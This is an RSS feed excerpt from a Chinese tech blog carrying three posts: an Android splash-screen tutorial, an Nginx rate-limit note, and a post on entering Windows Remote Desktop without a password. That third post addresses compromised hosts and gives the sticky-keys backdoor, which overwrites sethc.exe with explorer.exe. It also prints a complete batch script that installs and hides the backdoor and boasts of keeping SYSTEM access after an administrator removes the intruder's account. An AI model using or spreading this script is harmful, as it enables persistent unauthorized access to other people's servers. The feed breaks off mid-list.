<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>无风的港湾 &#187; title</title>
	<atom:link href="http://www.5bay.cn/tag/title/feed" rel="self" type="application/rss+xml" />
	<link>http://www.5bay.cn</link>
	<description>让你我停泊~</description>
	<lastBuildDate>Fri, 16 Dec 2011 09:18:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>在Android中创建启动界面</title>
		<link>http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html</link>
		<comments>http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html#comments</comments>
		<pubDate>Wed, 29 Jun 2011 05:01:33 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[Android笔记]]></category>
		<category><![CDATA[class]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[title]]></category>
		<category><![CDATA[xml]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=554</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html"><img align="left" hspace="5" width="150" src="http://images.cnblogs.com/cnblogs_com/yunfei181/splash.jpg" class="alignleft wp-post-image tfe" alt="" title="" /></a>1、制作一张启动图片splash.png，放置在res-&#62;drawable-hdpi文件夹中。 2、新建布局文件splash.xml &#160; &#60;?xml version=”1.0&#8243; encoding=”utf-8&#8243;?&#62; &#60;LinearLayout xmlns:android=”http://schemas.android.com/apk/res/android” android:layout_width=”fill_parent” android:layout_height=”fill_parent” android:gravity=”bottom&#124;center” android:orientation=”vertical” android:background=”@drawable/splash”&#62; &#60;TextView android:text=”@+id/TextView01&#8243; android:layout_width=”wrap_content” android:layout_height=”wrap_content” android:layout_marginTop=”20dip” android:typeface=”sans” android:shadowDx=”0&#8243; android:shadowDy=”2&#8243; android:shadowRadius=”1&#8243; android:shadowColor=”#FFFFFF” android:textColor=”#444444&#8243; android:textSize=”20dip” android:id=”@+id/versionNumber” android:gravity=”bottom”&#62; &#60;/TextView&#62; &#60;/LinearLayout&#62; &#160; 这里我们把上一步制作的图片作为启动界面的背景图，然后在界面底部显示当前程序的版本号。 3、新建SplashActivity，在Oncreate中添加以下代码： setContentView(R.layout.splash); PackageManager pm = getPackageManager(); try { PackageInfo pi = pm.getPackageInfo(“com.lyt.android”, 0); TextView versionNumber = (TextView) findViewById(R.id.versionNumber); versionNumber.setText(“Version ” + pi.versionName); } catch (NameNotFoundException e) { e.printStackTrace(); } new Handler().postDelayed(new Runnable(){ @Override public void run() { Intent intent = new Intent(SplashActivity.this,SplashScreenActivity.class); startActivity(intent); SplashActivity.this.finish(); } }, 2500); &#160; 4、 修改Manifest文件，将启动界面Activity改为默认启动，并且设置标题栏不可见。 &#60;?xml version=”1.0&#8243; encoding=”utf-8&#8243;?&#62; &#60;manifest xmlns:android=”http://schemas.android.com/apk/res/android” package=”com.lyt.android” android:versionCode=”1&#8243; android:versionName=”1.0&#8243;&#62; &#60;application android:icon=”@drawable/icon” android:label=”@string/app_name”&#62; &#60;activity android:name=”.SplashActivity” android:label=”@string/app_name” android:theme=”@android:style/Theme.NoTitleBar”&#62; &#60;intent-filter&#62; &#60;action android:name=”android.intent.action.MAIN” /&#62; &#60;category android:name=”android.intent.category.LAUNCHER” /&#62; &#60;/intent-filter&#62; &#60;/activity&#62; &#60;activity android:name=”.SplashScreenActivity” android:label=”@string/app_name” &#62; &#60;/activity&#62; &#60;/application&#62; &#60;uses-sdk android:minSdkVersion=”8&#8243; /&#62; &#60;/manifest&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>1、制作一张启动图片splash.png，放置在res-&gt;drawable-hdpi文件夹中。</p>
<p>2、新建布局文件splash.<a href="http://www.5bay.cn/tag/xml" class="st_tag internal_tag" rel="tag" title="标签 xml 下的日志">xml</a></p>
<p>&nbsp;</p>
<div>
<div>&lt;?xml version=”1.0&#8243; encoding=”utf-8&#8243;?&gt;<br />
&lt;LinearLayout xmlns:android=”http://schemas.android.com/apk/res/android”<br />
android:layout_width=”fill_parent” android:layout_height=”fill_parent”<br />
android:gravity=”bottom|center” android:orientation=”vertical”<br />
android:background=”@drawable/splash”&gt;<br />
&lt;TextView android:text=”@+id/TextView01&#8243; android:layout_width=”wrap_content”<br />
android:layout_height=”wrap_content” android:layout_marginTop=”20dip”<br />
android:typeface=”sans” android:shadowDx=”0&#8243; android:shadowDy=”2&#8243;<br />
android:shadowRadius=”1&#8243; android:shadowColor=”#FFFFFF”<br />
android:textColor=”#444444&#8243; android:textSize=”20dip” android:id=”@+id/versionNumber”<br />
android:gravity=”bottom”&gt;<br />
&lt;/TextView&gt;<br />
&lt;/LinearLayout&gt;</div>
</div>
<p>&nbsp;</p>
<p>这里我们把上一步制作的图片作为启动界面的背景图，然后在界面底部显示当前程序的版本号。</p>
<p>3、新建SplashActivity，在Oncreate中添加以下代码：</p>
<p>setContentView(R.layout.splash);</p>
<div>
<div>PackageManager pm = getPackageManager();<br />
try {<br />
PackageInfo pi = pm.getPackageInfo(“com.lyt.android”, 0);<br />
TextView versionNumber = (TextView) findViewById(R.id.versionNumber);<br />
versionNumber.setText(“Version ” + pi.versionName);<br />
} catch (NameNotFoundException e) {<br />
e.printStackTrace();<br />
}</p>
<p>new Handler().postDelayed(new Runnable(){</p>
<p>@Override<br />
public void run() {<br />
Intent intent = new Intent(SplashActivity.this,SplashScreenActivity.<a href="http://www.5bay.cn/tag/class" class="st_tag internal_tag" rel="tag" title="标签 class 下的日志">class</a>);<br />
startActivity(intent);<br />
SplashActivity.this.finish();<br />
}</p>
<p>}, 2500);</p></div>
</div>
<p>&nbsp;</p>
<p>4、 修改Manifest文件，将启动界面Activity改为默认启动，并且设置标题栏不可见。</p>
<p>&lt;?xml version=”1.0&#8243; encoding=”utf-8&#8243;?&gt;</p>
<div>
<div>&lt;manifest xmlns:android=”http://schemas.android.com/apk/res/android”<br />
package=”com.lyt.android” android:versionCode=”1&#8243; android:versionName=”1.0&#8243;&gt;<br />
&lt;application android:icon=”@drawable/icon” android:label=”@string/app_name”&gt;</p>
<p>&lt;activity android:name=”.SplashActivity” android:label=”@string/app_name”<br />
android:theme=”@android:style/Theme.NoTitleBar”&gt;<br />
&lt;intent-filter&gt;<br />
&lt;action android:name=”android.intent.action.MAIN” /&gt;<br />
&lt;category android:name=”android.intent.category.LAUNCHER” /&gt;<br />
&lt;/intent-filter&gt;<br />
&lt;/activity&gt;<br />
&lt;activity android:name=”.SplashScreenActivity” android:label=”@string/app_name” &gt;<br />
&lt;/activity&gt;<br />
&lt;/application&gt;<br />
&lt;uses-sdk android:minSdkVersion=”8&#8243; /&gt;</p>
<p>&lt;/manifest&gt;</p></div>
</div>
<p>&nbsp;</p>
<p>5、显示效果如下：</p>
<p><img src="http://images.cnblogs.com/cnblogs_com/yunfei181/splash.jpg" border="0" alt="" width="325" height="484" /></p>
<p>&nbsp;</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/tupianlunhuanleiie7opffchromeceshitongguo.html" title="图片轮换类，IE7、OP、FF、Chrome测试通过">图片轮换类，IE7、OP、FF、Chrome测试通过</a> (2)</li><li>2010年08月17日 -- <a href="http://www.5bay.cn/server-building/nginxxiansu.html" title="Nginx限速">Nginx限速</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/me/kaiyuanruanjiandeyinglimoshi.html" title="开源软件的盈利模式">开源软件的盈利模式</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/category/android%e7%ac%94%e8%ae%b0" title="Android笔记" rel="tag">Android笔记</a>, <a href="http://www.5bay.cn/tag/class" title="class" rel="tag">class</a>, <a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/title" title="title" rel="tag">title</a>, <a href="http://www.5bay.cn/tag/xml" title="xml" rel="tag">xml</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%9B%BE%E7%89%87" title="图片" rel="tag">图片</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nginx限速</title>
		<link>http://www.5bay.cn/server-building/nginxxiansu.html</link>
		<comments>http://www.5bay.cn/server-building/nginxxiansu.html#comments</comments>
		<pubDate>Tue, 17 Aug 2010 15:56:15 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[php5]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[title]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[程序]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=531</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/nginxxiansu.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>看了网上很多的Nginx介绍，就跟着弄，发现总是限制不了速度： 配置如下 http { limit_zone   one $binary_remote_addr 10m; server{ &#8230;.. location /attachments/ { limit_conn   one 1; limit_rate 100k; } } } 在万般无奈下，找到这样句话“如果把limti_rate直接放在server{}中，而不是location中，确实能实现限速，但我只想限制附件下载的速度，请问大大该怎么搞？” 原来这个就是原因了。limit_rate只能对Server进行限速，不能对单个Location限速。所以如果要某个目录（一般是图片资源）限速，可以把用另一个域名进行限制。例子如下： server { listen       80; server_name www.5bay.cn; index index.html index.htm index.php; root /project/trunk; location ~ .*\.(php&#124;php5)?$ { #fastcgi_pass unix:/tmp/php-cgi.sock; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fcgi.conf; } } server { listen       80; server_name www.5bay.cn; [...]]]></description>
			<content:encoded><![CDATA[<p>看了网上很多的Nginx介绍，就跟着弄，发现总是限制不了速度：<span style="color: #666666;"> 配置如下</span></p>
<p><span style="color: #999999;">http {<br />
limit_zone   one $binary_remote_addr 10m; </span></p>
<p><span style="color: #999999;"><a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">server</a>{ &#8230;..</span></p>
<p><span style="color: #999999;">location /attachments/ {<br />
limit_conn   one 1;<br />
limit_rate 100k;<br />
}<br />
}</span></p>
<p><span style="color: #999999;">}</span></p>
<p>在万般无奈下，找到这样句话“如果把<span style="color: #ff0000;">limti_rate</span><span style="color: #ff0000;">直接放在server{}中，而不是location中，确实能实现限速</span>，但我只想限制附件下载的速度，请问大大该怎么搞？”<span id="more-531"></span></p>
<p>原来这个就是原因了。limit_rate只能对Server进行限速，不能对单个Location限速。所以如果要某个目录（一般是图片资源）限速，可以把用另一个域名进行限制。例子如下：</p>
<p>server<br />
{<br />
listen       80;<br />
server_name www.5bay.cn;<br />
index index.<a href="http://www.5bay.cn/tag/html" class="st_tag internal_tag" rel="tag" title="标签 html 下的日志">html</a> index.htm index.<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a>;<br />
root /project/trunk;<br />
location ~ .*\.(php|php5)?$<br />
{<br />
#fastcgi_pass unix:/tmp/php-cgi.sock;<br />
fastcgi_pass 127.0.0.1:9000;<br />
fastcgi_index index.php;<br />
<a href="http://www.5bay.cn/tag/include" class="st_tag internal_tag" rel="tag" title="标签 include 下的日志">include</a> fcgi.conf;<br />
}<br />
}</p>
<p>server<br />
{<br />
listen       80;<br />
server_name <a href="http://www.example2.com/">www.5bay.cn</a>;<br />
index index.html index.htm;<br />
root /project/trunk;</p>
<p>limit_conn one 1;<br />
limit_rate 1k;         #打开图片好慢啊~~<br />
#limit_conn   crawler 20;<br />
location ~* .*\.php$ {<br />
rewrite .* 404 break;<br />
}</p>
<p>if ($uri !~* /uploads/)<br />
{<br />
rewrite .* 404 break;<br />
}<br />
}</p>
<p>以上环境在Centos5.3中设置</p>
<p>==============================================================</p>
<p>2010.01.31 环境：Windows xp + Cygwin + Nginx + PHPFastCGI</p>
<p>这一段是Nginx官方的文档：<a href="http://wiki.nginx.org/NginxHttpCoreModule#limit_rate">http://wiki.nginx.org/NginxHttpCoreModule#limit_rate</a></p>
<p><span>limit_rate </span></p>
<p><span><strong>syntax:</strong> <em>limit_rate speed</em> </span></p>
<p><span><strong>default:</strong> <em>no</em> </span></p>
<p><span><strong>context:</strong> <em><strong><span style="color: #ff0000;">http, server, location, if in location</span></strong></em> </span></p>
<p><span>Directive assigns the speed of transmission of the answer to client. Speed is assigned in the bytes per second. Limitation works only for one connection, i.e., if client opens 2 connections, then total velocity will be 2 times higher then the limit set. </span></p>
<p><span>If it is necessary to limit speed for the part of the clients at the <em>server</em> level, based on some kind of condition &#8211; then this directive does not apply. Instead you should specify the limit by assigning the value to the $limit_rate variable, as shown below: </span></p>
<pre><a href="http://wiki.nginx.org/NginxHttpCoreModule#server"><span>server</span></a><span> {
  </span><a href="http://wiki.nginx.org/NginxHttpRewriteModule#if"><span>if</span></a><span> ($slow) {
    </span><a href="http://wiki.nginx.org/NginxHttpRewriteModule#set"><span>set</span></a><span> $limit_rate  4k;
  }
}</span></pre>
<p><span>You can also control the rate of individual responses returned by a <code><span style="font-family: 新宋体;">proxy_pass</span></code> response (</span><a title="NginxHttpProxyModule" href="http://wiki.nginx.org/NginxHttpProxyModule"><span>NginxHttpProxyModule</span></a><span>) by setting the <code><span style="font-family: 新宋体;">X-Accel-Limit-Rate</span></code> header (</span><a title="NginxXSendfile" href="http://wiki.nginx.org/NginxXSendfile"><span>NginxXSendfile</span></a><span>). This can be done without a <code><span style="font-family: 新宋体;">X-Accel-Redirect</span></code> header. </span></p>
<p>发现 limit_rate的适应范围 <span><strong>context:</strong> <em><strong><span style="color: #ff0000;">http, server, location, if in location</span></strong></em> </span></p>
<p><span>其中是包括Location的。于是在Windows的环境设置</span></p>
<p><span><span style="color: #666666;"> location ~\.flv$ {<br />
flv;<br />
limit_rate 2k;<br />
}</span> </span></p>
<p><span>但发现依然不能正常限速，再试过另一种方式 ，直接用IP访问而不通过localhost或127.0.0.1访问。会不会因为回路网络（好像是这个名字）无法在程序中限制速度（netlimiter可以）。果然出现</span></p>
<p><span><span style="color: #666666;">$ wget </span><a href="http://192.168.1.13/input.flv"><span style="color: #666666;">http://192.168.1.13/input.flv</span></a><br />
<span style="color: #666666;">&#8211;2010-01-31 12:54:42&#8211; </span><a href="http://192.168.1.13/input.flv"><span style="color: #666666;">http://192.168.1.13/input.flv</span></a><br />
<span style="color: #666666;">Connecting to 192.168.1.13:80&#8230; connected.<br />
HTTP request sent, awaiting response&#8230; 200 OK<br />
Length: 69235224 (66M) [video/x-flv]<br />
Saving to: `input.flv.2&#8242;</span></span></p>
<p><span style="color: #666666;">0% [                                       ] 10,017      1.98K/s eta 9h 30m</span></p>
<p><span>看来是真的限制速度了。</span></p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html" title="在Android中创建启动界面">在Android中创建启动界面</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/tupianlunhuanleiie7opffchromeceshitongguo.html" title="图片轮换类，IE7、OP、FF、Chrome测试通过">图片轮换类，IE7、OP、FF、Chrome测试通过</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2008年11月12日 -- <a href="http://www.5bay.cn/network-programming/javascript-ajax/documentbodyscrolltop%E4%B8%BA0.html" title="document.body.scrollTop为0">document.body.scrollTop为0</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/me/kaiyuanruanjiandeyinglimoshi.html" title="开源软件的盈利模式">开源软件的盈利模式</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php5" title="php5" rel="tag">php5</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/title" title="title" rel="tag">title</a>, <a href="http://www.5bay.cn/tag/%E5%9B%BE%E7%89%87" title="图片" rel="tag">图片</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/nginxxiansu.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>无需输入密码登陆3389</title>
		<link>http://www.5bay.cn/server-building/eeeeee389.html</link>
		<comments>http://www.5bay.cn/server-building/eeeeee389.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:32:45 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[title]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[感谢]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=518</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eeeeee389.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>来源：脚本安全小组 在肉鸡上执行命令 copy c:\windows\explorer.exe c:\windows\system32\sethc.exe copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe 以后再连接肉鸡3389，敲5下shift键就可以直接进入了，无需输入密码，只是登陆上去没有任务栏，一直会有密码登陆框，不过够我们做很多事情了,目前win2003测试通过。 似乎2000也可以，XP不行。这两个系统没测试。 不知道有牛人知道是什么道理不. 小道消息：连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ，你把explorer.exe换成sethc.exe 就是自动执行explorer.exe Shift后门TT整理版 来源：TT&#8217;s Blog 将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~ 然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe 或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~ 哇哈哈哈哈~~~ TITLE Shift后门 @echo off cls echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. echo. echo 使用方法:本文件执行完毕后, echo 在终端界面按Shift 5次即可登陆系统! echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. copy c:\windows\explorer.exe c:\windows\system32\sethc.exe echo 完成百分之 50 copy c:\windows\system32\sethc.exe [...]]]></description>
			<content:encoded><![CDATA[<p>来源：脚本安全小组</p>
<p>在肉鸡上执行命令</p>
<p>copy c:\windows\explorer.exe c:\windows\system32\sethc.exe</p>
<p>copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe</p>
<p>以后再连接肉鸡3389，敲5下shift键就可以直接进入了，无需输入密码，只是登陆上去没有任务栏，一直会有密码登陆框，不过够我们做很多事情了,目前win2003测试通过。</p>
<p>似乎2000也可以，XP不行。这两个系统没测试。</p>
<p>不知道有牛人知道是什么道理不.</p>
<p>小道消息：连敲5次shift就自动激活连滞键设置~~也就是自动执行sethc.exe ，你把explorer.exe换成sethc.exe 就是自动执行explorer.exe</p>
<p>Shift后门TT整理版<br />
来源：TT&#8217;s Blog</p>
<p>将下面的代码保存为tt.bat 然后到主机上运行~后门的启动了~</p>
<p>然后连接对方3389然后连续按5次Shift就能进入盘里了 然后进入c:\windows\system32\cmd.exe</p>
<p>或者建个bat内容为 call cmd.xe 就是系统权限了~管理员把你先的用户删了也不怕~</p>
<p>哇哈哈哈哈~~~<br />
<a href="http://www.5bay.cn/tag/title" class="st_tag internal_tag" rel="tag" title="标签 title 下的日志">TITLE</a> Shift后门<br />
@echo off<br />
cls<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
echo.<br />
echo 使用方法:本文件执行完毕后,<br />
echo 在终端界面按Shift 5次即可登陆系统!<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe<br />
echo 完成百分之 50<br />
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe<br />
echo 完成百分之 80<br />
attrib c:\windows\system32\sethc.exe +h<br />
echo 完成百分之 90<br />
attrib c:\windows\system32\dllcache\sethc.exe +h<br />
echo 完成百分之 100<br />
cls<br />
echo.<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo 后门安装完毕！<br />
echo.<br />
echo 感谢您使用Shift后门<br />
echo.<br />
echo.<br />
echo.<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br />
echo.<br />
echo. &amp; pause<br />
exit</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a 